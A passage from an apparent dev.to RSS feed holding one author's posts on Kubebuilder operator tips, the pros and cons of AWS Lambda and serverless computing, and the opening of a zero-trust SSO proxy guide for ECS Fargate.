&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;Get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;dynamic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Interface&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nsn&lt;/span&gt; &lt;span class="n"&gt;types&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NamespacedName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MyResource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;dynamic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Interface&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nsn&lt;/span&gt; &lt;span class="n"&gt;types&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NamespacedName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MyResource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;dynamic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Interface&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mr&lt;/span&gt; &lt;span class="n"&gt;MyResource&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;Delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;dynamic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Interface&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mr&lt;/span&gt; &lt;span class="n"&gt;MyResource&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  Use Finalizers to terminate external resources
&lt;/h1&gt;

&lt;p&gt;Finalizers are logic processes that are required before a K8s resource is deleted. The book says so, but it's easy to skip. Perhaps you noticed a &lt;code&gt;deletionTimestamp&lt;/code&gt; added to the metadata of an object when you tried to delete it. This is a finalizer that prevents garbage collection of the resource. For example, in AWS EBS, the internal logic backs the EBS controller attempts to delete the physical volumes before removing a PVC (removing the finalizer field in order to do so).&lt;br&gt;
As soon as a finalizer is removed, the object is automatically collected by the GC and removed from the cluster. With this method, you, the user, do not have to deal with waste and cluster leftovers.&lt;/p&gt;


&lt;h1&gt;
  
  
  Set Owner Reference on tracked objects
&lt;/h1&gt;

&lt;p&gt;There is another very important concept, yet easy-to-skip section in the Kubebuilder "&lt;a href="https://book.kubebuilder.io/cronjob-tutorial/controller-implementation.html"&gt;implementing a controller&lt;/a&gt;":&lt;br&gt;
The K8s garbage collector knows to remove these objects when the parent object is deleted, just as the CronJob creates Jobs. If your CRD generates other resources in the cluster, like a Pod, or Deployment, then you must set an owner reference.&lt;/p&gt;

&lt;p&gt;When constructing the object, make sure to include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="n"&gt;being&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;reconciler&lt;/span&gt; &lt;span class="n"&gt;receiver&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;ctrl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SetControllerReference&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parentObj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;childObj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Scheme&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  Get your groups and crd name right
&lt;/h1&gt;

&lt;p&gt;Changing them is quite the challenge, to say the least.&lt;br&gt;
Think about the group and resource names when you are creating the controller, CRD, API, etc. There are several reasons why these are important:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Imports are made throughout the project. Imports must be a. unambiguous, b. straightforward, and c. named meaningfully&lt;/li&gt;
&lt;li&gt;They will be used in different places, such as yaml files holding the objects' API Versions and Kinds. As well as in other areas such as the discussed GVR or GVK (GroupVersionKind) objects. If there is a meaningful group name other than "crd" or "apps", use it. If not, keep in mind that it must make sense in the context of &lt;code&gt;&amp;lt;group-name&amp;gt;.company.com&lt;/code&gt; as part of the &lt;code&gt;apiVersion&lt;/code&gt; field.&lt;/li&gt;
&lt;li&gt;Changing them is a pain in the bum, especially with custom resource objects. Besides being part of every generated function or kubebuilder generator markers, it is probably mentioned hundreds of times throughout the code. Refactoring isn't necessary, but not doing so will reduce the project's readability. Simply put: Do not change the name of the CRD, unless you must. You've been warned 😉&lt;/li&gt;
&lt;/ol&gt;




&lt;p&gt;That's all there is to it. Please let me know if you have any other dos and don'ts to add or remove. In any case, that's all the things I wish I knew instead of spending hours figuring them out for myself.&lt;/p&gt;

&lt;p&gt;Thanks for reading!&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>devops</category>
      <category>sre</category>
      <category>go</category>
    </item>
    <item>
      <title>Introduction to AWS Lambda and Serverless</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Mon, 13 Jun 2022 11:22:20 +0000</pubDate>
      <link>https://dev.to/omerxx/introduction-to-aws-lambda-and-serverless-2k7f</link>
      <guid>https://dev.to/omerxx/introduction-to-aws-lambda-and-serverless-2k7f</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;“&lt;strong&gt;Serverless computing&lt;/strong&gt; is a &lt;a href="https://en.wikipedia.org/wiki/Cloud_computing"&gt;cloud computing&lt;/a&gt; &lt;a href="https://en.wikipedia.org/wiki/Execution_model"&gt;execution model&lt;/a&gt; in which the cloud provider allocates machine resources on demand, taking care of the &lt;a href="https://en.wikipedia.org/wiki/Server_(computing)"&gt;servers&lt;/a&gt; on behalf of their customers.”&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Serverless_computing"&gt;https://en.wikipedia.org/wiki/Serverless_computing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;




&lt;p&gt;A recent uninformed discussion on Linkedin about container orchestration (wrongfully) compared to serverless, sparked a few thoughts in my mind:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;How well do I understand what a serverless function is?&lt;/li&gt;
&lt;li&gt;What does this mean for developers in my team that run code exclusively on AWS Lambda?&lt;/li&gt;
&lt;li&gt;Does knowing the environment make any difference?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It is my intention in this post to answer these questions, given that (3) is obvious to me; I have to understand the environment in order to make informed decisions. In addition, I assume that in regards to question (2), if I didn't have the time to dig deeper, many of my colleagues didn't either, so this may be my way of sharing what I've learned with them.&lt;/p&gt;




&lt;h1&gt;
  
  
  The benefits and drawbacks of Serverless functions
&lt;/h1&gt;

&lt;h3&gt;
  
  
  Pros:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Speed of development&lt;/strong&gt; - using frameworks like &lt;a href="http://serverless.com/"&gt;serverless.com&lt;/a&gt; (deserves its own blog post), development speed is increased exponentially. All resources are easily deployed, connected to the network, protected by permissions and security groups, as well as a lot of other features. It can relieve DevOps / production engineers of the burden of managing moving parts, and allow developers to operate independently on their own terms, eliminating bottlenecks. Obviously, this isn't magic, and "Managed correctly" is key here, templates and boilerplates, coupled with least privilege access will go a long way towards ensuring speed is not sacrificed for security or control.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scale&lt;/strong&gt; - as Lambda is a service that runs packaged code, it can (theoretically) scale infinitely, only limited by AWS’s own limitations, which are considered close to infinite in most use-cases. It scales quickly and automatically. Even though it may come at a price, both in terms of service and cold starts, if the volume is monitored, it can be planned accordingly to maximize speed and efficiency (see "Handling cold starts" above).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security&lt;/strong&gt; - The Lambda function, as noted, runs a number of seconds on its own infrastructure before going to "sleep"&lt;strong&gt;.&lt;/strong&gt; In that sense, it is more secure because it can only be accessed through AWS's API, and cannot be accessed in any other way. On the other hand, containers are usually accessed through an attached shell. When a malicious actor has access to an internal system, it becomes a possible attack vector. In this sense, Lambda functions are inaccessible, even when attached to a VPC. In addition, there isn't an underlying infrastructure like K8s or ECS nodes to run, so one fewer layer needs to be protected.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Efficiency&lt;/strong&gt; - Lambda functions run for the required amount of time and then hibernate (or completely shut down the environment) until the next run. This provides maximum efficiency. Infrastructure is only paid for by the number of seconds it takes to process data, nothing more, nothing less. There is no billing for "dead" time. This drives constant improvements to reduce runtime. It can be achieved by using message queues, caching layers, or simply by improving the application's performance. It is a pleasant side-effect with a positive impact.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cons:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Price&lt;/strong&gt; - Lambda functions are not cheap. AWS offers a generous free tier, but lambdas can grow to be a major part of an AWS cloud bill after a certain point. There are many solutions to this problem, such as offloading certain components to containers or instances, and improving performance. However, this is one of the most important factors to consider when making the decision.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Speed&lt;/strong&gt; - also listed as a pro, speed the speed at which developers can deploy new infrastructure can get out of hand. It is something to consider when allowing the whole engineering team to use their networking and security components for production functions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Distribution can be an obstacle -&lt;/strong&gt; Lambdas are best when they are distributed; when the code is divided into small parts, each with one logical purpose, rather than a few. This allows them to respond, scale and operate as fast as possible. At the same time, it can be difficult to keep everything under control. Monitoring, CI pipelines, and infrastructure become increasingly challenging to track, monitor and manage as the number of them grows.&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  What is it
&lt;/h1&gt;

&lt;p&gt;Serverless functions are a way to run code in a distributed, scalable and efficient manner in a cloud environment.&lt;/p&gt;

&lt;p&gt;A key feature is the ability to write code and "throw" it to the cloud, where some "magical" system runs it, preparing an environment and billing the user for the runtime seconds and resources used.&lt;/p&gt;

&lt;h2&gt;
  
  
  Under the hood
&lt;/h2&gt;

&lt;p&gt;AWS Lambda runs code in a "runtime environment", which is a containerized environment that holds everything the application needs. Dependencies, layers, and files are all prepared and loaded onto an AWS-shared infrastructure. This is done in an isolated, secured way so that neighboring functions are not exposed in any way to the other "environments".&lt;/p&gt;

&lt;p&gt;"Cold start" is the process of setting up a container and preparing it for a Lambda function, then running it for the first time. Imagine calling a function in a simple application you wrote, but each time it’s called, the application starts and then stops. The process is of course inefficient in the sense that it runs longer, but it is extremely more efficient considering the time a certain piece of code is not called, and therefore, is not billed.&lt;/p&gt;

&lt;p&gt;This is not a straight forward process at all; certain questions must be asked:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How often is this piece of code called on a minute, hour, or daily basis?&lt;/li&gt;
&lt;li&gt;How long does it take for the function to complete its run?&lt;/li&gt;
&lt;li&gt;Could the function end faster? (hint: yes, it sure can!)&lt;/li&gt;
&lt;li&gt;How crucial is responsiveness?&lt;/li&gt;
&lt;li&gt;Is latency something we’d like to pay extra for, or keep as low as possible?&lt;/li&gt;
&lt;li&gt;Assuming serverless &lt;em&gt;is&lt;/em&gt; the way to go for our engineering team, but mainly in terms of speed, is the cloud the most suitable option for us?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Let’s try to answer a few of these questions to make architectural decisions:
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What is the frequency of calling the function?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If the answer is thousands of times a minute, perhaps a &lt;a href="https://docs.aws.amazon.com/lambda/latest/dg/provisioned-concurrency.html"&gt;provisioned concurrency&lt;/a&gt;&lt;br&gt;
 is worth considering. If the function is not being called all that often, perhaps it’s wise to use a lambda warmer to keep it warm - see dealing with cold starts below.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How long does it take for the function to run?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The best practice is to have functions operate on a single logical unit, having the smallest possible task to take care of. This will result in a short running time and a more distributed system that can scale and start up quickly. An option to consider is wrapping a "long running" function with supporting services to speed up its execution. A "long" run time can range from seconds to minutes. Examples for solutions are - utilizing queues and additional functions instead of sending a request and waiting for a response. Another option is the use of a cache mechanism to provide faster responses from data services. In the end, if a function still takes minutes to run, even with all the support and efficiency improvements, it may be a candidate for a live service. Maybe a job that runs in a container and terminates, or a full-fledged service running on K8s, or ECS. In either case, &lt;strong&gt;serverless is not a one-size-fits-all solution&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is the cloud really the best choice?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When the goal of serverless is purely functional, i.e. making it easier for developers to work productively and deploy infrastructure quickly, a PaaS might not be the best option. Not because of features, but because of price, and in some cases, high latency when working against internal tools like databases and secret managers. &lt;a href="https://knative.dev/docs/install/operator/knative-with-operators/"&gt;Knative&lt;/a&gt; and &lt;a href="https://github.com/fission/fission"&gt;Fission&lt;/a&gt; are two alternatives. As I don't have real experience with these, I cannot comment on their capabilities. However, I can say they might hold some of our production serverless deployments in the future.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Key takeaway: "Serverless is not a one-size-fits-all solution"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  A deeper look into networking
&lt;/h2&gt;

&lt;p&gt;The functions run on an "AWS shared infrastructure", as mentioned earlier. The shared environment here is an AWS VPC dedicated to Lambda. Functions are invoked through the Lambda API (and only through it) in the VPC, where they can access the public internet, but cannot access neighboring functions or the owners' private network (that's you).&lt;/p&gt;

&lt;p&gt;A function must be connected to the internal VPC in order to gain access to private subnet resources, such as databases, internal API services, and other supporting components. This does not mean the function runs inside the VPC, rather it has access to it via:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Creating a cross-account attached interface&lt;/li&gt;
&lt;li&gt;Attaching and using the network interface from the user’s VPC to access resources&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  A recent improvement to this network scheme
&lt;/h3&gt;

&lt;p&gt;Lambda functions in a VPC used to be somewhat problematic, in that a user had to consider:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Creating and attaching the network interface requires a longer cold start&lt;/li&gt;
&lt;li&gt;Keeping an eye on rate limits pertaining to the number of network interfaces in a user's VPC&lt;/li&gt;
&lt;li&gt;Limits on the number of available IP addresses for attached interfaces should also be considered&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The above has been dramatically improved in 2019, when &lt;a href="https://aws.amazon.com/blogs/compute/announcing-improved-vpc-networking-for-aws-lambda-functions/"&gt;AWS announced an improved networking for Lambdas&lt;/a&gt;. Since then (and gradually in additional regions), Lambda functions started reusing a “&lt;a href="https://www.youtube.com/watch?v=dfEcd3zqPOA&amp;amp;t=4661s"&gt;Hyperplane&lt;/a&gt; ENI”, essentially allowing network interface reuse.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Because the network interfaces are shared across execution environments, typically only a handful of network interfaces are required per function. Every unique &lt;em&gt;security group:subnet&lt;/em&gt; combination across functions in your account requires a distinct network interface. If a combination is shared across multiple functions in your account, we reuse the same network interface across functions.&lt;br&gt;
&lt;br&gt;- AWS “Improved VPC networking for AWS Lambdas” announcement, 2019&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here’s a diagram from AWS, explaining the change visually, this is the “old” networking scheme for VPC-attached functions:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--UgfWrrPM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c9apahhr0vhgkoblclzh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--UgfWrrPM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c9apahhr0vhgkoblclzh.png" alt="Image description" width="880" height="529"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Vs the new networking model, where a shared ENI is used:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--aoJmC1JJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wfcs6k948t2mlsnfwoiv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--aoJmC1JJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wfcs6k948t2mlsnfwoiv.png" alt="Image description" width="880" height="527"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Dealing with cold starts
&lt;/h2&gt;

&lt;p&gt;While you do not pay for the time it takes to start a container, it adds to the overall latency of the end user's experience. This may be of little importance in some use cases, yet critical in others.&lt;/p&gt;

&lt;p&gt;There are several ways to combat cold starts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Warm up your lambdas with a lambda warmer. A warmer is essentially an external component that sends a ping to the function to initiate it and waits for a response. The key here is its repetitiveness and mimicking of customer-like behavior. It is recommended to do the following:

&lt;ol&gt;
&lt;li&gt;Wait at least five minutes each time.&lt;/li&gt;
&lt;li&gt;Trigger the function directly to keep the same environment warm rather than trigger another one, which is typically the case when the trigger is coming through an API gateway&lt;/li&gt;
&lt;li&gt;Wait for a response, preferably one that’s prepared in the function specifically for warmers&lt;/li&gt;
&lt;li&gt;Send a test payload&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.plainenglish.io/keep-your-aws-lambda-functions-warm-and-avoid-cold-start-1c80e02ea6f9"&gt;Further read this great post&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;li&gt;Use &lt;a href="https://docs.aws.amazon.com/lambda/latest/dg/provisioned-concurrency.html"&gt;provisioned concurrency&lt;/a&gt; - a way to pre-configure the number of desired environments that are kept warm for the customer. Despite being on the more expensive side, this solution "magically" solves the problem of cold starts to some extent. However, cold starts also occur when:

&lt;ol&gt;
&lt;li&gt;Updated version is introduced (code and configuration are the same for Lambda)&lt;/li&gt;
&lt;li&gt;All provisioned concurrency is used and another incoming request is waiting&lt;/li&gt;
&lt;li&gt;The platform automatically re-balances availability zones deployments&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;li&gt;

&lt;p&gt;Make sure functions attached to a VPC and using the same subnet share a security group. In this way, no latency is introduced when creating and attaching network interfaces, since they can use an existing ENI:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Hyperplane ENIs are tied to a security group:subnet combination in your account. Functions in the same account that share the same security group:subnet pairing use the same network interfaces. This way, a single application with multiple functions but the same network and security configuration can benefit from the existing interface configuration.&lt;br&gt;
&lt;br&gt;- AWS “Improved VPC networking for AWS Lambdas” announcement, 2019&lt;/p&gt;
&lt;/blockquote&gt;


&lt;/li&gt;
&lt;/ol&gt;




&lt;h1&gt;
  
  
  Serverless isn't always the best solution
&lt;/h1&gt;

&lt;p&gt;The "cons" list above shows that running cloud functions can be challenging in some cases, and they may not always be the best solution. Aside from its usually high price, its features are good for some use cases and terrible for others. Combining functions with orchestrating containers seems to work well in my experience.&lt;/p&gt;

&lt;p&gt;In addition to long-running services, containers can be used as standalone task containers (e.g. K8s cronjobs), triggered by functions, and used when the processing time exceeds a reasonable function run-time.&lt;/p&gt;




&lt;h1&gt;
  
  
  Serverless does not make "DevOps redundant"
&lt;/h1&gt;

&lt;p&gt;It would be great if it did, but for the most part, it does the opposite. The serverless architecture leads to functions' code being distributed across many repositories. The tracking, monitoring, maintaining, and other operational aspects become tedious and much more complex. This requires creative solutions, or more time-consuming manual labor. Both result in greater engineering effort. In that regard, serverless usually isn't as promising as it sounds. Quite the contrary, in fact. In the future, a new tool or project may solve this complexity and provide a cross-functional solution. Serverless.com may carry this torch. We're pretty much where we started in terms of hidden operations, and there's still a long way to go until we can "abandon" Ops.&lt;/p&gt;




&lt;h1&gt;
  
  
  Thank you for reading
&lt;/h1&gt;

&lt;p&gt;Serverless functions are an excellent platform if you take the considerations listed above into account. I hope this helps someone out there, and invite you to correct me if you find any inaccuracies.&lt;/p&gt;




&lt;h3&gt;
  
  
  Further reading material and references:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/blogs/compute/operating-lambda-performance-optimization-part-1/"&gt;AWS blog on Lambda performance optimization&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/blogs/compute/announcing-improved-vpc-networking-for-aws-lambda-functions/"&gt;AWS announcement on Lambda VPC networking improvements&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>devops</category>
      <category>serverless</category>
      <category>aws</category>
      <category>lambda</category>
    </item>
    <item>
      <title>Introduction to Zero Trust on AWS ECS Fargate</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Mon, 30 Aug 2021 14:16:12 +0000</pubDate>
      <link>https://dev.to/omerxx/introduction-to-zero-trust-on-aws-ecs-fargate-38bl</link>
      <guid>https://dev.to/omerxx/introduction-to-zero-trust-on-aws-ecs-fargate-38bl</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;After a long while of researching for information on a solution I knew I wanted, it was quite hard to figure out what to choose, and how to use it. And so, this is basically the &lt;em&gt;guide I wish I had&lt;/em&gt;: &lt;strong&gt;what&lt;/strong&gt; I wanted and &lt;strong&gt;why&lt;/strong&gt;, the solution itself, and just as important - &lt;strong&gt;how&lt;/strong&gt; to implement a solution that's well designed, but poorly documented...&lt;/p&gt;
&lt;/blockquote&gt;



&lt;h1&gt;
  
  
  What
&lt;/h1&gt;

&lt;p&gt;With the rise of Google's &lt;a href="https://cloud.google.com/beyondcorp" rel="noopener noreferrer"&gt;beyond-corp&lt;/a&gt; approach, the concept of "Zero Trust" brought the Identity Aware Proxy to the world. In a nutshell, internal resources or tools sit in private inaccessible areas of the cloud, while a reverse proxy on top of them, offers access to permitted users only. The authentication often relies on an OAuth2 provider, but any kind of user directory does the trick.&lt;/p&gt;

&lt;h1&gt;
  
  
  Why
&lt;/h1&gt;

&lt;p&gt;Rarely do you enjoy a combination of more than two of these:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Security&lt;/li&gt;
&lt;li&gt;Quality user experience&lt;/li&gt;
&lt;li&gt;Ease of management / maintenance
The magic lies with benefiting from all of the bove with the same solution.&lt;/li&gt;
&lt;/ol&gt;



&lt;h4&gt;
  
  
  Security
&lt;/h4&gt;

&lt;p&gt;The key feature in an identity-aware proxy is the redundancy of VPN servers. VPN by its nature offers a single point of access to the internal network. Once authenticated, the user has the keys to the kingdom; all internal systems are reachable. In some cases, when &lt;a href="https://en.wikipedia.org/wiki/Role-based_access_control" rel="noopener noreferrer"&gt;RBAC&lt;/a&gt; is correctly implemented, authentication is still in the way and protects user access. However, the system is still accessible network-wise, making it susceptible to scans and attacks that might bypass the standard access point.&lt;/p&gt;

&lt;p&gt;With a reverse proxy, before the request is being authorized, all access is blocked as the routing didn't take place. The request was blocked before being rerouted forward.&lt;/p&gt;

&lt;p&gt;Another aspect of security comes from the fact that the user has one identity source to manage. If &lt;a href="https://en.wikipedia.org/wiki/Multi-factor_authentication" rel="noopener noreferrer"&gt;MFA / 2FA&lt;/a&gt; has been enabled (&lt;a href="https://www.google.com/landing/2step/" rel="noopener noreferrer"&gt;and it should!!!&lt;/a&gt;), it stands for all future user authentication methods. More on that on the ease of access, and, ease of management.&lt;/p&gt;

&lt;p&gt;One clarification before moving on though; this is not to say that VPNs are the past, or that's something is broken with the concept of having one. Deployed correctly, VPN servers are incredible at what they do. They're ubiquitous for a reason. That said, most implementations lack basic access control, and those that do, more often than not, do not monitor internal queries once a user has been authenticated. In some cases, there are usually not too many alternatives. But for others - e.g. back-office web services, we can do better.&lt;/p&gt;



&lt;h4&gt;
  
  
  Ease of access
&lt;/h4&gt;

&lt;p&gt;This is the more straightforward aspect of things; a user with the organization directory only has to manage one identity. Assuming the user is keeping their passwords safe with something like &lt;a href="https://1password.com/" rel="noopener noreferrer"&gt;1Password&lt;/a&gt;, and a mandatory &lt;a href="https://www.google.com/landing/2step/" rel="noopener noreferrer"&gt;2 step verification&lt;/a&gt;, it makes everyone's life easier. The cookie generated from one successful authentication can be used to access all other systems under the proxy (given the user is permitted to do so).&lt;/p&gt;



&lt;h4&gt;
  
  
  Ease of management
&lt;/h4&gt;

&lt;p&gt;One of the key pain points engineering / IT / Ops teams struggle with is user management when multiple systems and tools are involved in the development. Instead of managing a growing number of directories and user sets, &lt;a href="https://en.wikipedia.org/wiki/Single_sign-on" rel="noopener noreferrer"&gt;SSO&lt;/a&gt; offers a single point of authentication, allowing the management of only one directory. All that's left is to integrate SSO with the identity-aware-proxy to leverage both a single access point and the reuse of a cookie.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/buzzfeed/sso" rel="noopener noreferrer"&gt;SSO&lt;/a&gt; to the rescue!&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;While &lt;a href="https://github.com/buzzfeed/sso" rel="noopener noreferrer"&gt;Buzzfeed's SSO&lt;/a&gt; is simply wonderful in terms of concept and implementation, its docs are somewhat &lt;strong&gt;incomprehensive&lt;/strong&gt; for the lack of a better word. The issue amplifies when trying to deploy on ECS Fargate. (Somewhat surprising given the nature of Buzzfeed's workload on ECS but 🤷).&lt;/p&gt;




&lt;h1&gt;
  
  
  The How
&lt;/h1&gt;

&lt;p&gt;With that in mind, here's a guide / better-docs for implementing a  "Zero-trust proxy with SSO and cookie reuse on ECS Fargate"&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Probably the world record for the single line title with most buzzwords ever&lt;/em&gt;...&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Buzzfeed's SSO is an implementation of two proxy entities, one service as a proxy to underlying systems and the other as an auth provider. The reason for the local auth provider is being able to serve one login for all systems, instead of having to re-authenticate with every different upstream. This is a cookie-reuse for the same purpose, which is a super elegant solution on behalf of Buzzfeed. &lt;a href="https://github.com/buzzfeed/sso/blob/main/docs/diagrams/sso_request_flow.png" rel="noopener noreferrer"&gt;Here's a complex, yet comprehensive visual diagram of the system&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;As said, the system comprises of a proxy and an auth provider, namely &lt;code&gt;sso-proxy&lt;/code&gt; and &lt;code&gt;sso-authenticator&lt;/code&gt; (or &lt;code&gt;sso-auth&lt;/code&gt; in short). Both systems are configured by a set of environment variables, where the backend routing is described in an &lt;a href="https://github.com/buzzfeed/sso/blob/main/docs/sso_config.md" rel="noopener noreferrer"&gt;upstream Yaml config file&lt;/a&gt;. With growing usage, additional features, switches, parameters, and updates the project kind of grew out of basic understandable configuration docs. This is why we're here today.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;



&lt;h4&gt;
  
  
